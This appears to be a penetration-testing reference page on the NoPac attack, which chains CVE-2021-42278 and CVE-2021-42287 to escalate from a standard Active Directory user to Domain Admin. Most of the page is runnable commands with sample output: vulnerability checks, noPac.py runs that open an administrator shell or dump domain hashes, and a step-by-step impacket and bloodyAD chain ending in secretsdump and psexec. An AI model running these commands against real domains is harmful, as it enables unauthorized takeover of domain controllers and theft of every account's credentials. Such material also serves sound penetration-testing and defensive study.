# NoPac: sAMAccountName Spoofing

> Exploits CVE-2021-42278/42287 to spoof sAMAccountName, impersonate a DC, and obtain a TGT for privilege escalation in Active Directory.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/nopac-samaccountname-spoofing
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-06-11
- **Updated:** 2026-08-11

NoPac chains two CVEs: CVE-2021-42278 (machine account sAMAccountName spoofing) and CVE-2021-42287 (KDC name confusion). Any standard domain user with machine account creation rights can escalate to Domain Admin by creating a machine account, renaming it to match a DC name, obtaining a TGT under that name, then exploiting the KDC's fallback behavior to obtain a service ticket with the DC's privilege context.

Attack steps:

- Create a machine account (requires MAQ > 0)
- Rename its `sAMAccountName` to match the DC (without trailing `$`)
- Request a TGT under the spoofed name
- Restore the original name, then request a service ticket using the TGT
- KDC fails to find the account, falls back to the DC machine account context

Prerequisites: `ms-DS-MachineAccountQuota > 0` (default: 10) and DC not patched with KB5008380 or KB5008602 (November 2021).

#### Kali (nxc check)

**Check prerequisites**

```bash
# Check machine account quota: default 10 means any user can create machine accounts
nxc ldap $TARGET_IP -u $USER -p $PASSWORD -M maq

# Quick nxc scan: tries the exploit and reports if DC is vulnerable
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M nopac
# LDAP  10.10.10.10  389  DC01  MachineAccountQuota: 10
#
# SMB   10.10.10.10  445  DC01  [+] NoPac vulnerability confirmed
```

#### Windows (RSAT)

**Check prerequisites from Windows**

```powershell
# Check MachineAccountQuota on domain root object
Get-ADDomain | Select-Object -ExpandProperty 'ms-DS-MachineAccountQuota'

# OR via raw LDAP attribute
Get-ADObject -Identity (Get-ADDomain).DistinguishedName -Properties 'ms-DS-MachineAccountQuota' | Select-Object 'ms-DS-MachineAccountQuota'
```

## Automated exploit: noPac.py

noPac.py handles the full attack chain automatically: creates a machine account, renames it, requests TGT, performs S4U2self, and either provides a shell or dumps hashes. Install from GitHub: `git clone https://github.com/Ridter/noPac`.

#### Kali (noPac.py)

**noPac.py: automated exploit**

```bash
# Scan to confirm vulnerability
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -use-ldap

# Get shell as Domain Admin
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -use-ldap --impersonate administrator -shell

# Dump domain hashes directly
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -use-ldap --impersonate administrator -dump

# Dump specific account only
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -use-ldap --impersonate administrator -dump -just-dc-user administrator
# [*] Machine account added: EVILPC$
# [*] Renamed to: DC01
# [*] Got TGT for DC01
# [*] Restored sAMAccountName: EVILPC$
# [*] Requesting service ticket impersonating Administrator
# [+] Got shell as Administrator
# C:\Windows\system32>
```

## Manual exploit chain (impacket)

Step-by-step breakdown for environments where noPac.py is unavailable or blocked. The chain: create machine account, rename its `sAMAccountName` to match a DC (without `$`), obtain TGT, restore the name, then use S4U2self. The KDC cannot find the renamed account after restoration and per CVE-2021-42287 appends `$`, matching the real DC and issuing a service ticket with the DC's privilege context.

#### Kali (impacket)

**Manual NoPac chain**

```bash
# Step 1: Create machine account
impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'EVILPC$' -computer-pass '$COMPUTER_PASSWORD' -dc-ip $TARGET_IP

# Step 2: Rename sAMAccountName to match DC hostname (no trailing $)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object 'CN=EVILPC,CN=Computers,$BASE_DN' sAMAccountName '$DC_HOSTNAME'

# Step 3: Request TGT for renamed account
impacket-getTGT $DOMAIN/$DC_HOSTNAME:'$COMPUTER_PASSWORD' -dc-ip $TARGET_IP

# Step 4: Restore machine account's sAMAccountName
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object 'CN=EVILPC,CN=Computers,$BASE_DN' sAMAccountName 'EVILPC$'

# Step 5: S4U2self - impersonate administrator via the TGT for DC_HOSTNAME
export KRB5CCNAME=$DC_HOSTNAME.ccache
impacket-getST -self -impersonate administrator -spn 'cifs/$DC_FQDN' $DOMAIN/$DC_HOSTNAME -k -no-pass -dc-ip $TARGET_IP

# Step 6: Use the impersonated service ticket
export KRB5CCNAME=administrator@cifs_${DC_FQDN}@${DOMAIN^^}.ccache
impacket-secretsdump $DOMAIN/administrator@$TARGET_IP -k -no-pass
impacket-psexec $DOMAIN/administrator@$TARGET_IP -k -no-pass
# [*] Getting TGT for DC01
# [*] Saved credential cache to 'DC01.ccache'
# [*] Impersonating administrator
# [*] Saved credential cache to 'administrator@cifs_dc01.corp.local@CORP.LOCAL.ccache'
#
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
```

## References

- [noPac.py (GitHub)](https://github.com/Ridter/noPac) - Automated NoPac exploit: scan, shell, and dump modes
- [Impacket (GitHub)](https://github.com/fortra/impacket) - addcomputer, getTGT, getST for manual chain
- [NoPac: Secureworks research](https://www.secureworks.com/blog/nopac-a-tale-of-two-vulnerabilities-that-could-end-in-ransomware) - CVE-2021-42278 and CVE-2021-42287 combined exploit analysis